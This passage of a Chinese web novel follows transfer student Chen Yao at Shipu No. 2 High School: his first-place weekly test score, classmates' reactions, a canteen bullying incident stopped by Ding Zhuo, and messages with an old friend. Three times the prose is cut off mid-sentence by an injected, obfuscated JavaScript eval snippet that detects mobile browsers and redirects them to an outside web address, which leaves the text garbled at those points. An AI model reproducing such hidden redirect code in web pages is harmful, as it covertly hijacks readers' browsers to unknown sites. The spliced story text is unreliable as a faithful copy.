但是丁卓没这样说,他和陈遥一样选择不回答林源源的问题,林源源问多了他就笑着说“你猜”。 气得林源源直说“哪有你这样的表哥”。 . 这是陈遥第一次参加二中的升旗仪式。 升国旗、唱国歌……这些环节都和省实验没有太大区别,就是升完旗后有个很长的表彰以及批评环节。 看得出二中在规范学生行为这块儿付出了很大努力,批评环节要做到人人检讨认罚,还有实质性惩罚:当周放学要留堂补习一小时。 批评的内容事无巨细,迟到早退、上课玩手机、打架、不穿校服…… 不过二中不管发型,要是管发型丁卓绝对最先被拉上去认罚。 这么想着他突然没来由的脑补了一个画面:学生处主任质问丁卓:“知不知道自己错哪儿了?” 然后丁卓笑笑来了句:“你猜。” 陈遥:“……” . 批评环节的学生其实不多,估计是谁都不想被留堂一小时,果然想严格执行校规需要有些手段。 之后就进入表扬环节。 表扬同样分很多项,操行、品德,当然还有作为高中最重要的成绩。 周测每个年级的第一名、综合排名最高的班、还有进步最快班级,都会被公开表扬。 除了精神奖励外,周测成绩最好的班级和个人还有实物奖励,而且奖励非常接地气。 奖品是饮料,白桃乌龙味的冰茶,学校食堂的出品,据说在学校里很有人气。 各年级平均分最高的班奖励六箱饮料,年级第一的考生所在的班级也会有奖励,同样是六箱饮料。 怪不得林源源说周测能拿第一的话就能得到同学的认可,整整六箱饮料,一人一天一瓶,刚好够全班喝一周。 表扬进度比实际慢上一周,也就是这期表扬名单还是上上周考试的排名,没陈遥什么事儿。但校长在台上念表彰名单时,班主任就一直在陈遥边上转悠。 陈遥大概知道什么意思:他周测排名应该很好,他估分一向很准,而且二中的试卷也简单。 . 升旗仪式结束后,各自回班。 这时候气温已经渐渐上来,闷热感包裹着整个操场,同学们都很快溜回教室吹冷气。 楼道里很嘈杂,上周周测第一的二班学生们正往回搬饮料。 白桃冰茶正适合夏天,他们整个班都喜气洋洋。 林源源下楼时还精神抖擞,回教室已经被晒得像棵叶子发黄的、蔫趴趴的小植物,她往桌上一瘫:“好热,好想喝白桃冰茶啊……但是二班人卖的好贵,五六块钱一瓶。” “下周就有免费的了。”旁边的丁卓说。 陈遥一愣。 他看向丁卓,林源源也看向丁卓,林源源:“什么意思卓哥?你终于找到偷二班冰茶的门路了?” 丁卓:“……” 丁卓无语:“下周他年级第一,你不就有的喝了。” 陈遥:? 丁卓怎么知道他会是年级第一? 记得丁卓没跟他有过什么关于成绩的对话吧,而且看起来丁卓和老师关系没有很好,也不可能关心这种事。 林源源也是满脸问号:“陈遥年级第一?他看起来成绩是还不错啦,每天早自习的小考题目他都会做。不过他能考过林瑞泉?我不信。” 丁卓还没说话,上课铃响起,班主任秦老师推门进来,班里立刻上演鸦雀无声。 . 秦老师抱着一打试卷,这画面陈遥很熟悉,上周一也是这样的。 上周一秦老师同样抱着卷子进来,发卷子、宣布周测排名,不过这个环节是在放学后,不知为什么这次的环节提到了第一节课前。 “我就说班头很高兴吧!”林源源的嘴巴是真闲不住,哪怕不敢出声,用唇语、写纸条,她都有超级旺盛的表达欲,“你看他嘴都咧到耳朵根了!” “同学们。”秦老师笑眯眯地说,“我刚刚判完周测的数学卷子,虽然排名还没有正式统计,但我可以提前告诉大家一个好消息。” “这次考试,我们班平均分比上次增加了5分,所有同学的表现都很不错,虽然我们在五个班里平均分还是排名第五,但是距离第四名已经差得不多了,大家再接再厉!” 稀稀拉拉的掌声里,秦老师继续说道:“另外还有个好消息就是,这次的年级第一在我们班,是陈遥同学!” “保守估计,陈遥同学领先了年级第二150多分,在我们的周测里拿到几乎满分的成绩!” 一片哗然,全班同学齐刷刷的一个脑瓜向后转,看向陈遥这里,过去一个星期陈遥加在一起收到的目光都没有这个瞬间多。 “卧槽?” “牛逼!” “我们班还能出第一?” “白桃冰茶!” “厉害!”林源源也跟着起哄,在气氛组这一块儿她非常有实力。 不过嚷了几嗓子,她才反应过来自己到底听见了什么,眼睛一瞬间瞪得又大又圆,难以置信地看着陈遥:“你?你真第一?你周五不是提前了两个多小时交卷吗?我还以为你吓跑了呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883303|176391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 陈遥矜持地:“说了很简单。” . 虽然学生们大多是为了起劲和免费白桃冰茶,但他们的兴奋与班主任此刻的情绪很能共鸣。 所以即使班里秩序有短暂混乱,班主任还是笑眯眯地给了他们一分钟狂欢时间,才开始上课。 一整节课,林源源像个活跃过度的小猴,盯着旁边的陈遥,似乎想看穿他有什么学霸的秘籍。 但她又不敢跟陈遥说话,怕上课打扰到白桃冰茶供应商,于是一直重复上演“学陈遥听课记笔记”“看不懂于是看看陈遥在干嘛”“继续学陈遥听课记笔记”“困得眼皮打架”的流程。 和林源源对他的好奇相比,陈遥更大的好奇心在丁卓身上。下了课,林源源去隔壁班找闺蜜玩,她的座位一空出来,陈遥就能直接和一条过道之隔的丁卓说上话。 丁卓靠着墙,闭着眼在休息,好像很困的样子,也不知道平时都在忙什么。 陈遥用笔帽戳了戳丁卓胳膊,对方看过来。 “那个,你怎么知道我能考第一的?”陈遥问。说出来的时候他就感觉到不妙,因为凭借对丁卓的了解他已经预知到答案。 果然,丁卓:“你猜。” 陈遥:“……” “我不猜。”陈遥都快失去表情功能了。 丁卓弯了下嘴角,好像很满意这种效果。陈遥则开始认真思考丁卓这张帅脸后面,到此藏着一颗什么成分的大脑。 “那我告诉你好了,原因很简单。”丁卓说,“那天你做的题,好多符号我都没见过。” 。 虽然这论据让陈遥无力吐槽,但不得不承认,不良少年还挺聪明的。 至少横向对比,比林源源强点,能认出符号长得不一样。 . 陈遥都不想再跟丁卓说话了,一转回来,突然发现自己座位边上站着个男生。 对方安安静静站在那里,跟个幽魂似的,把陈遥吓了一跳。 他“哎!”了一声,那男生也吃了一惊:“吓着你了吗?抱歉抱歉。” 这男生陈遥也脸熟,叫杜英杰,在班里算是有点小凝聚力的人物,他这次过来就是主动认识陈遥。 后面的课间,又陆续有人过来找陈遥说话。 这时陈遥算是体会到了林源源说的那句,“我们这儿有自己的规矩,足够强才能得到认可”。 虽然说很中二,但确实是这样。 他拿到年级第一,班里同学才会主动跑过来跟他认识。 陈遥倒是不讨厌这样,甚至有点成就感。 因为他要是主动去结识班里同学,别人也不会不搭理他,但他没这么做。 除了高考前最后一年被迫转学,确实没那个心情外,某种意义上也是期待着自己凭实力被认可的这个时刻。 . 到中午,杜英杰过来邀请陈遥出去吃饭。 “今天要不要一起出去吃午饭?对街有家很好吃的烧腊,我们有五六个人一起,拼几样价格很划算。” 二中允许中午出校门,就是必须快些回来,陈遥答应了。 杜英杰又去邀请丁卓:“卓哥,要不要一起去?” “今天不行。”丁卓答,“下午请假了。” “哦哦,端午快到了。”杜英杰心领神会地点头,没忘记闲聊,“对了卓哥,你们迎龙王的正日子是哪天?” “今年是6月26号。”丁卓答。 杜英杰在那里附和。一旁的陈遥听到这日子,愣了下。 6月26号,他没记错的话,是期末考试的日子。 5. 【五】 烧腊店在对街,走路几分钟,是藏在茂盛的行道树之间的一个红底金字小招牌。 这种配色就给人不会翻车的感觉,进店一看菜牌,果然和杜英杰说的那样,便宜又大碗,不大的店面里坐的都是二中学生。 “烧鸭拼排骨的特别好吃,陈遥你试试。”杜英杰倾力推荐,陈遥就按着他说的点。 味道果然不错,烧鸭皮脆肉嫩,排骨也入味还一点都不柴,关键是分量还大。送的例汤甚至是萝卜玉米龙骨汤,清甜入味。 杜英杰他们几个大聊特聊,说的都是镇上其他人的事儿,比如谁谁又打架了之类,陈遥插不上话,就边吃边听。 哪怕只是做个听众,这么一顿饭吃下来大家也熟悉了许多。 回去路上,陈遥找了个机会,跟杜英杰单独说话。 “你刚才说的迎龙王是什么?”陈遥问,从离开教室开始,他就一直在想着这个。 “迎龙王是我们这儿最大的迎神庆典。”杜英杰解释,“每年端午、过年各有一次,他们会在海边跳舞、放炮、祭拜,迎接龙王,举办盛大的仪式,镇上的人没什么大事儿的话都会去看。” 石浦以及沿海诸镇因为靠天吃饭,历来有很浓厚的神佛文化氛围,这一点陈遥是知道的。他在镇上也见到过很多龙王庙,香火都很旺盛。 “那丁卓在这活动里面的任务是?”陈遥问。 “哦,我说你怎么突然问这个呢,原来是因为卓哥。”杜英杰恍然大悟,“卓哥是迎龙王的旗手。旗手就是给龙王擎旗开路的年轻人,这个人是长辈们选出来的,在镇上是很高的荣耀。卓哥已经当了四年旗手,我给你找找照片。” 杜英杰在手机相册里kuku一顿翻,很快找出几张照片给陈遥看。 照片里,丁卓穿着修身的黑金衣袍,肩上有夸张的肩饰,显得他腰窄腿长,身形比例好到逆天。他站在高处,手握一杆大旗,像少年将军一样威风凛凛。 那时的丁卓还没染头发,和现在这头张扬的金毛比没那么不良,英气则还是一样的英气。 “这是去年的照片?”陈遥问。 “不是,去年赶上期末考试,我没去看成。好像是前年的吧。”杜英杰答。 。 杜英杰不经意间说到关键问题了。 陈遥最开始关心“迎龙王”这整件事,就是因为这个。 “今年日程好像也和期末考撞上,所以丁卓去年就没参加期末考吗?”陈遥问,“这日程怎么会撞上的?” “对。”杜英杰答,“因为期末考是全市统考嘛,又不是只有我们镇,日子碰巧撞上也难免的。” “那不会很影响丁卓吗?”陈遥问。 “还好吧。”杜英杰想了想说,“期末考试又不是什么很重要的事,应该没关系。” 陈遥想再问,但对方都觉得“不重要”了,自己再问下去也就是个多管闲事的人。 不理解但尊重吧。 . 到了下午,果然丁卓连人带包又从教室消失了。 这个下午还是一如既往的闷热,就像过去七天里的每一天。 火红的凤凰花在窗边伸出枝子,教室外每个角落都充斥着让人窒息的热空气。 讲台边,空调机低沉地鸣响,好像每个夏日永恒不变的背景音。 二中的授课进度比省实验慢了很多,高考内容陈遥在省实验已经全学完了,现在都进入第一轮总复习了,二中还在讲新知识,所以听课变成没意义的行为。 再加上新鲜出炉的年级第一得到所有老师的默许,陈遥可以公然在课上做自己的题。 午后本就困倦,题目简单了集中不起精神,题目难了脑子又转不动,陈遥昏昏沉沉的,林源源突然往他桌上放了瓶水。 冰镇的,瓶身上还挂着水珠,瓶底坐着张纸条。林源源的字圆乎乎的,挺可爱。 -【原来学霸也会睡觉ovo 请你喝水!下周记得分我点水喝! 这瓶我花了5块钱呢!】 这瓶就是学校奖励优秀生的白桃冰茶,食堂自己的出品。 瓶子挺简朴,外面还贴着可爱的自制贴纸,口味却出乎意料的好。 冰茶的桃子味非常浓郁,再加上清凉的薄荷味,清新的绿茶底,一口下去沁人心脾,暑意全消。 . 下午最后一节课下课后,班主任又出现在班门口,上周就是这个时候他宣布了周测成绩,这周也是一样。 虽然一早已经提前宣布过陈遥是年级第一,但这次是正式宣布名次,读出“第一名陈遥”时,班主任满脸的骄傲。 比排名更让他骄傲的是陈遥的分数。 “满分750,陈遥同学拿到了736分,只在语文和英语的作文丢了一点分。”秦老师非常自豪地说道,“同学们有空可以借陈遥的卷子看看,陈遥的答卷非常完美,不管是步骤的标准程度还是书写的工整度,都挑不出任何毛病。” 答卷完美这件事在陈遥看来没什么值得特别高兴的,因为石浦二中的卷子确实出得过于简单。 但在他们班同学眼里,这简直就是神话传说一样的成绩,林源源在一片掌声里小声说:“我之前一直以为考试满分是650呢。” 陈遥:“……” “卓哥说你是超级学霸,我之前还不信,原来是真的。”林源源冲陈遥比了个拇指。 陈遥心想不良少年对他倒还挺盲目信任的。 除了陈遥排第一之外,后面的排名和上周没什么区别,第二名照样是二班的林瑞泉,平均分则还是二班第一,他们三班垫底。 陈遥一个人增加了班级好几分的平均分,但是没能改写排名。 班主任把卷子都发下去,每天批改一科,今天是英语老师进来讲卷子。 班主任把卷子发下去后,冲陈遥招了招手,示意他出来。 . 上周刚见面时,班主任对陈遥比较严,现在则肉眼可见的慈祥很多。 毕竟一周下来,不管是成绩还是日常脾性班主任都看在眼里,自然不会再对陈遥有误解。 所以带着陈遥到办公室之后,班主任甚至拉了一把椅子给他,又递了一瓶冰可乐:“坐。” 陈遥:“……” 怎么这地方人人都给他投喂饮料。 “陈遥,你之前在省实验的排名怎么样?”秦老师问,“你爸交过来的资料上只有分数,没有具体排名。你排名应该也不错吧?” “差不多年级前三吧。”陈遥答。这其实还是谦虚了,除了有次发高烧外,他基本稳稳的年级第一。 秦老师“嗯”了一声,“大概猜得到,你基本功很扎实,解题思路也好,我从没遇到过你这么优秀的学生。说老实话,你现在的学业水平远远超出我们学校的平均水平。你高考的目标是什么?” . 对话中,陈遥能感觉到秦老师有点惋惜,但努力在克制这种惋惜。 他给了陈遥不用完成课后作业的特权,但表示自己会持续监督陈遥,不允许他有丝毫放松。 “高考是寒窗苦读十二年的最后冲刺,你现在可以说面对的是最高难度。”秦老师轻轻叹了口气,但转而又鼓起劲。 “不过你放心,我会尽可能协助你冲过难关,无论学习还是生活中遇到任何困难,你都可以跟我说。” “对了。”秦老师说,“我看林源源经常跟你说话……她们那几个学生比较活跃,会不会打扰你学习?如果有影响的话,我给你换个座位。” 林源源虽然吵但吵的比较节制,而且她在边上唧唧喳喳的挺有活人感,目前整个班陈遥比较好感的也就只有她了,可能再算上个丁卓。不过对丁卓的好感一阵一阵的,因为这个人欠起来是真的有点欠。 “不用换座位,谢谢老师。”陈遥说。 “那行。”秦老师拍了拍陈遥的肩,给他鼓劲,“加油!” —— 周二再到学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883304|176391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校,陈遥远远地就看到教室门口围着好几个女生。 他起初还以为有什么事儿,但很快发现她们好像是在看他,那些女生都挺害羞的,陈遥走过来之前她们都盯着他看,靠近了却一下子又散开,装作在说说笑笑。 林源源小声跟陈遥说:“你好像有点抢手。” . 中午一下课,杜英杰则又飞到陈遥桌边:“去吃烧腊饭吗?” 陈遥其实挺想去,跟他们一起吃饭感觉很有活力。 但他准备吃完饭写一套数学卷子,要是去吃烧腊饭,连吃带聊的就没那么多时间了。只能婉言谢绝。 “行,那学霸你加油!”杜英杰说。 “用不用给你带瓶饮料,学神?” “不用是吧,好的,加油,学圣!” 短短三句话里连升三级的陈遥:“……” . 不去吃烧腊饭,那就去吃食堂。 二中禁止上课玩手机,但午休时间不怎么管,陈遥拿出手机,才发现班级微信群里很热闹。 他加了群之后没有仔细看,因为这些人实在是话很多。 他就特意看了下丁卓和林源源的微信,林源源确实在群里也和在教室一样唧唧喳喳,丁卓则话很少,发言记录是个位数。 一上午又是999+的未读消息,看得陈遥瞳孔地震。原因没别的,他主要在好奇这些人是什么时候拿出手机玩的? 要知道他经常做着题一抬头,发现秦老师从后门的窗玻璃在往班里看,如此高强度的监视居然都没抓到这些人,太厉害了。 . 二中午休时间允许出去吃饭,但很多人还是吃食堂。 正是饭点,食堂里人特别多,队伍挤得吓人。 陈遥打过饭,在食堂里转了一下才找到个差不多的位置。 是个角落里的两人位。其实有一个位子挨着墙角,基本坐不进去,所以其实也就能一个人坐。 陈遥走过去,正准备坐下,突然一个饭盘从他背后探出来,以迅雷不及掩耳的速度,“啪”的一声,抢先一步放在他面前的桌子上。 陈遥一愣。 他都还没反应过来,又不知道被谁挤了一下,手里的饭都差点洒了。 看着两个男生从他身后挤了过来,理直气壮地坐在这个座位上。 . 食堂虽然人多,但没有多到那个地步,陈遥自己就看到两三处空座,正常人没道理非要和他抢座位。 而且对面冲过来的速度差点把陈遥撞倒,也不是找座位的状态了。 “同学。”陈遥说,“好像是我先来的。” 离陈遥近一点的那男生看了他一眼,翻了个白眼:“你先来的?这里写你名了吗?” “你先来的,那我们怎么坐在这儿了?”另一个男生说道,“要不你随便找个人评评理,食堂的座位是不是谁先坐下归谁?” “怎么,难道你看中的座位,我们先到,我们还不能坐了?” 对面胡搅蛮缠的过于理直气壮,反倒搞得陈遥一下子有点懵。属于是被震惊到了,所以一时间没说出话来。 翻白眼那男生看他没回话,还变本加厉:“考个第一觉得自己了不起了……**。” 陈遥愣了一下。 . 最后“**”两个字陈遥就听了个音,对方说的是本地方言,他听不懂。 但是看那表情和语气,他就知道这不是什么好话。 而且他不认识这两个人……这跟他考第一有什么关系? 正想着,陈遥注意到冲他翻白眼那男生突然愣了一下,神色瞬间变得很尴尬。 他猛地起了个身,又僵硬地坐回去,好像想站起来又不知道该不该站起来,跟椅子上有什么东西烫屁股一样。 陈遥还没反应过来怎么回事儿,就听到丁卓的声音在他身后响起,是陈遥很陌生的颇有压迫感的语气。 “你们平时都这么欺负人的?” 6. 【六】 “卓,卓哥。” 所以说丁卓确实在学生里威信很高,白眼哥一看见他,说话都结巴了。 他一下子从座位上弹起来,指着陈遥,“我我没有那个意思,是他,他诬陷我们抢座位……” “你觉得我瞎?”丁卓问。 “不不不不我没有那意思。”白眼哥一看瞒不过去,汗都下来了,他摇头摇得像拨浪鼓,“对不住卓哥,你大人有大量,别跟我们一般见识,对不起卓哥,我们这就走。” 和他一起那男生还愣在那,白眼哥狠狠捣了人一把,“愣着干嘛!起来赶紧走!” 跟班那男生嗖一下弹起来,俩人动作幅度极其一致,唯唯诺诺地冲丁卓鞠躬点头,“对不住啊卓哥,实在是对不住。” “是跟我道歉吗?”丁卓凉凉地问。 两个人又愣了下,白眼哥看了跟班弟一眼,齐刷刷地转向陈遥:“对不起!对不起啊陈遥!” 陈遥懒得理这两人,看在丁卓面子上简单“嗯”了一声。 这两人立刻又看向丁卓,眼神可怜巴巴的,像是在说大哥,这样可以了吗。 丁卓起初没说话,他只是站在那儿就冷冷的,压力拉满了。就在白眼男生实在顶不住,准备开口求饶时,丁卓面无表情地:“还不走?” “是是是,好好好,我们立刻走。”两人如蒙大赦,连滚带爬跑路。 . 天降奇兵,陈遥还有点愣神儿,直到丁卓问:“你不会真不想坐这儿吧?” “啊,我坐我坐。就……谢谢。”陈遥总算缓过来。 不管是那两个男生莫名的敌意,还是从天而降的丁卓,都让他有些震惊,除了震惊之外还有点说不清道不明的情绪。 丁卓也端着饭盘,那自然就坐在陈遥对面一起吃了。 但陈遥对面那个椅子卡在墙角突出来的柱子边上,坐在那基本得用做瑜伽的姿势,盘成一根树桩那样。 对方刚才帮了自己,陈遥起身:“要不你坐我这——” 话音没落,就见丁卓把盘子往旁边一放,探手到椅子那里,略微用力,“咔吧”一声,本来卡死在原地的椅子很轻松地被他拽了出来。 陈遥:? 丁卓坐下:“怎么了?” “……没事。” “吃饭吧。”丁卓说,“你不是等会儿回去还要写卷子么。” “嗯。”陈遥顺口应着,突然又一愣,“你怎么知道?” 丁卓突然呛了口水,咳了几声才说:“刚才听见你跟杜英杰说了。” . 陈遥低头扒了几口饭,他注意到丁卓盘子里只有一份白饭和一点简单的素菜。 丁卓肯定是不会没钱买饭,所以陈遥问:“你怎么吃这么少?” “不太饿。”丁卓答。 其实这几天陈遥都有注意,丁卓在学校显得挺疲惫,大部分时间都在睡觉。 “你身体不好吗?”陈遥问,“吃这么点东西哪里够啊。” “不是身体不好,就是最近训练强度太大了。”丁卓说,“你知道过几天这边有个迎神仪式,我要参加,那个排练很累人,要跑要跳舞还得蹦高,每天都要练,其他时间就没什么活力。” “旗手是吧?”陈遥问,“那你要多注意休息。” “嗯,源源跟你说的?”丁卓笑了下。 “算是吧。”陈遥回答。 说完以后陈遥突然有点心虚,毕竟他实际上不是跟林源源而是跟杜英杰问的,虽然这也不是什么重要的细节。 总之陈遥很快转移了话题,“对了,刚才那两个人是什么情况?” “他们是二班的。”丁卓说,“他们班学委之前一直考年级第一。” “哦,那个林瑞泉。”陈遥说,“但这说不通啊,不至于没考过我就破防吧?说实话,这个学校应该没有这种气质啊。” “确实没有。”丁卓又笑了,“我估计是那个冰茶的原因。” “就你考第一学校会奖励的那个白桃冰茶。”丁卓说,“二班学委之前一直按照五六块钱一瓶在卖,一个星期下来,能卖到一千多块。” 一周一千多块,在陈遥这儿是笔巨款了,他爸一个月就给他一千块钱。 全班总均分第一是奖励六箱冰茶,年级第一单人奖励六箱。 陈遥没有拿奖品卖钱的打算,但二班学委等于是凭空少了一半的收入,怪不得气到找人来挑陈遥的毛病。 可惜没什么用。 这些人好像都比较怕丁卓,说的更贴切但也比较夸张一点儿的话是“敬畏”。刚才翻白眼那个兄弟看见丁卓时,脸色都变了。 “你好像在这里蛮有地位的。”陈遥说。 “还凑合吧,他们不知道为什么比较崇拜旗手。”丁卓说,“另外就是上届高三的以前老挑事儿,我帮忙处理过几次,他们就比较给我面子。” 上届高三的陈遥也见过几次,他刚来那会儿正是总复习最后几天,他偶尔碰到几个高三生。 说实话确实一看就是很混的那种,陈遥远远看见都避开走。 当时他还想,这些高三的看起来很凶,实际上居然没什么攻击性,看来校规很有用。 现在来看可能是丁卓比较有用。 . 午休时间,三班学生都在外面玩,打球、看球、或者单纯聊天。陈遥不是说这不正常,但是在省实验不会这样。 在省实验读高一那年,中午还常有人出去,上高二以来中午教室只剩下笔划过纸张的沙沙声。 二中不一样,中午教室里除了前面有几个女生看漫画,右下角还有个睡觉的丁卓外,教室里就没人了。 这样倒也不坏,班里很安静,没人打扰。 陈遥做的是省实验的数学卷子,省实验有大量的自主命题,难度比高考要大,梁轩一直把卷子连同答案发给陈遥,还关心地问陈遥,什么时候期末考。 -【陈遥:24、25、26三天。】 -【梁轩:日期倒是跟咱们差不多,前后脚。】 -【梁轩:期末是全市统考,没难度,题我就不发给你了。】 陈遥说行,梁轩又问他,在石浦呆得怎么样? 陈遥说还可以,没有一开始想的那么无聊,就是确实热,比省城还要热。 -【梁轩:交到新朋友没,有人陪你聊天吗?】 所以说好兄弟才是真的关心,陈遥还挺感动的。 -【陈遥:我新同桌人挺好的,特别活泼。】 说完林源源又想起丁卓,虽然跟丁卓的交流总体来说不多,但都比较令人印象深刻。 -【陈遥:还有个新认识的男生也还行。】 -【梁轩:男生先不提,新同桌男的女的?漂亮吗?】 -【梁轩:[狗头]】 -【陈遥:?】 -【梁轩:算了不逗你了。说正经的,你暑假回来吗?】 陈遥其实挺想回去的,暑假一直呆在石浦,感觉会很无聊。他的电脑在家里,而且本来报了个夏令营,也要从省城走。 但是他爸别说接他回去了,最近连对话都没有,看样子除非他认错,接纳那个女人进入他的家庭,否则他爸是不打算搭理他了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883305|176391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但是陈遥没错,也不可能会认错。他可能阻止不了小三上位,但至少他自己绝对不会接纳她。 -【梁轩:老王叫我,等会儿再回你哈兄弟。】 老王是他们班主任,被班主任叫走就不知道什么时候能回来了。 -【陈遥:行。我估计不回省城。】 回完梁轩的消息,陈遥就开始写卷子,写着写着也就忘了梁轩这码事,一直等到他把整套卷子写完,准备对答案时,才发现梁轩喋喋不休给他发了一堆。 梁轩说好可惜啊,要不我暑假来看你吧。 想了想又说不行,根本没暑假,马上大一轮总复习了,跑都跑不了。 梁轩又问,你爸最近联系你了吗? 得到“没有”的回答,梁轩给陈遥发了个【摸你狗头】的表情,说没事遥宝,等爸爸我去看你。 -【陈遥:……滚。】 . 下午课后,班主任又叫陈遥去办公室,其实中午就找过他一次,但是看陈遥认真在做卷子,班主任就没打扰。 这次去也没什么大事,就是让陈遥配合拍张照片,用来放在学校荣誉墙上。 本来班主任说不拍也可以,陈遥发张照片来也行,但陈遥找来找去,自己的照片都是之前省实验拍的,穿着校服的。 他不太想要这种过去印记很明显的照片。 摄影师是后勤部老师客串的,看见陈遥就转着圈的夸他,说他不光成绩好,长得还帅。 陈遥偶像包袱还是有一点,在镜头面前摆出很端正的笑容,之后去后勤老师镜头那里看了一下,还不错,凑过来的班主任和年级组长看了这张照片也是笑容满面。 “秦老师,你们班学生一个个都长这么周正。”后勤部老师夸奖连连,“你看这个学生也是你的吧?” 说着他往前翻了一张,陈遥站在相机边上刚好也看到,摄影屏上出现的恰好是丁卓的照片。 丁卓在相机前面也不太笑,像是着力营造自己酷酷的形象。冷调的眉眼倒是蛮适合这种风格。 “是我们班的。”秦老师语气轻快地说,“这是那个旗手。” 谈笑间后勤老师调了下镜头,又给陈遥补拍了一张备用照片。 “搞定了,你回去吧。”后勤老师愉快地对陈遥说完,又转向班主任,“老秦,到时候荣誉墙上给你们班这俩帅哥贴一起,多养眼呐。” . 陈遥回班去拿书包,进门时老师正在讲题。 他们每天放学会有一门课讲周测卷子,今天是物理。 学过物理的人都知道,这玩意儿会的人就会,不会的人绞尽脑汁也不会。现在整个三班的同学看着黑板眼神都是呆滞的,仿佛大脑皮层的褶皱都被黑板上的公式抚平了。 唯独同桌林源源的眼神较为清澈,可能是因为她本来就完全不懂,反而不会受到任何来自知识的袭击。 陈遥过来收拾东西时,她压低声音:“学霸,我刚才听到个八卦。” “什么八卦?”陈遥顺口问。 “有人说你周测第一是作弊的。”林源源说,“你应该不是吧?” 一般人问这种话陈遥肯定骂回去了,一看就是阴阳怪气,但是林源源不一样。 所有跟学习相关的话题,体现在她身上都是一种清澈的愚蠢,让人完全相信她只是单纯的好奇。 所以陈遥哭笑不得,甚至都不知道怎么回答比较易于理解。 结果旁边丁卓先搭了一句:“你信那个不如信我是秦始皇。” 陈遥:? 这人怎么还在这呢? 7. 【七】 按说丁卓没参加上周的周测,这周讲卷子他也不需要跟着听,但他人却在教室里。 别说陈遥不理解了,就连林源源都不理解。 她懵懵地“哦”了一声,下一秒眼睛唰地瞪大了:“卓哥?你怎么还在这儿呢?” 丁卓:“……” 他脸上罕见地出现无语的表情:“我都在这儿坐半天了。” 林源源睡眼惺忪地又“哦”了一声。 林源源这种头号粉丝都没注意到丁卓一直坐在她隔壁,可见物理讲评试卷有多强的催眠效果。 “太热,懒得动,睡会儿。”丁卓说。 陈遥没来由地感觉丁卓像某种大型猫科动物: 顶级的颜值和身体素质,食物链顶端的地位。 ……以及顶级的睡眠能力。 林源源还想再问,物理老师在前面敲了敲黑板。 二中老师在管纪律这方面都有种不怒自威级别的压力,三个人对视一眼,同时闭嘴。 . 陈遥因为高到离谱的周测成绩,被所有老师标记为“好学生”,有不用留堂的特权,不过他也不敢在教室说太多话。 所以一出班门,他第一件事就是在班级微信群里翻到林源源,加好友。 虽然老师不允许上课玩手机,但林源源有几百种绕过老师玩手机的技巧,她秒通过好友申请,并且消息一瞬间发过来好几条。 -【林源源:学霸!】 -【林源源:[小猫探头]】 -【陈遥:[小狗搓手]】 -【林源源:怎么啦学霸!】 -【陈遥:就是问下,你从谁那儿听说我作弊的?】 -【林源源:什么作弊?】 -【陈遥:?】 -【林源源:哦哦,想起来了,我睡晕了。】 -【陈遥:。】 -【林源源:我闺蜜说他们班都在传。不过学霸你放心,我坚定地为你正名,我跟她说你肯定不需要作弊,你默写那个什么歌都不需要思考的。】 陈遥:“……” 长恨歌。 这论据确实是没什么说服力哈。 当然这也不是重点。 重点是找出始作俑者。 -【陈遥:你闺蜜是2班的吗?】 -【林源源:!!!】 -【林源源:哇塞,你怎么知道!】 -【林源源:不愧是学霸!!神通广大啊!】 -【陈遥:[擦汗猫头]】 倒也不是神通广大,主要是二班某些人的心思太明显,都快贴脑门上了。 . 这周省实验发的题特别多,陈遥跟着做,就感觉时间过得很快,转眼到了周五。 同样是闷热的一天,窗外的鸟都被热得没太大力气鸣叫,班主任还像上周一样,抱着一大叠卷子走了进来。 这是陈遥在二中参加的第二次周测,他忽然感觉周测可以很好的记录时间,再这样测个51次,他就高考了…… 哦,也不能这样计算,因为中间还有寒暑假。 班里突然出了个尖子,班主任的愉悦心情藏都藏不住,看陈遥一眼,嘴角都笑得快翘到天上。 班上同学见他这样,也狂放地开始交头接耳,直到班主任猛敲黑板,才算安静下来。 二中的周测对陈遥来说,算是放松心情的小调剂,题目实在有点简单。 照旧是比规定时间快很多做完,做完就回家,继续做省实验的题。 省实验的题目难度和二中不可同日而语,等到陈遥把整套卷子做完,天早都黑了,婶婶不知道什么时候在门口的小柜子上放了碗冰水果甜汤。 陈遥喝着水果甜汤打开手机,那个名为“伟大的3班”的班级群果不其然又爆了999+的消息,而且其中还有消息在@他。 陈遥学业的压力其实挺重,再加上他爸那些烂事,很长一段时间以来都没有真的心情很轻松的时刻,但此时此刻应该算一个。 . 之前在省实验的班群陈遥退了,剩下的微信联系人就不多。 除了梁轩每天和他说上几句之外软件可以一天没响动的,加了班级群之后,倒是有了很多生命力。 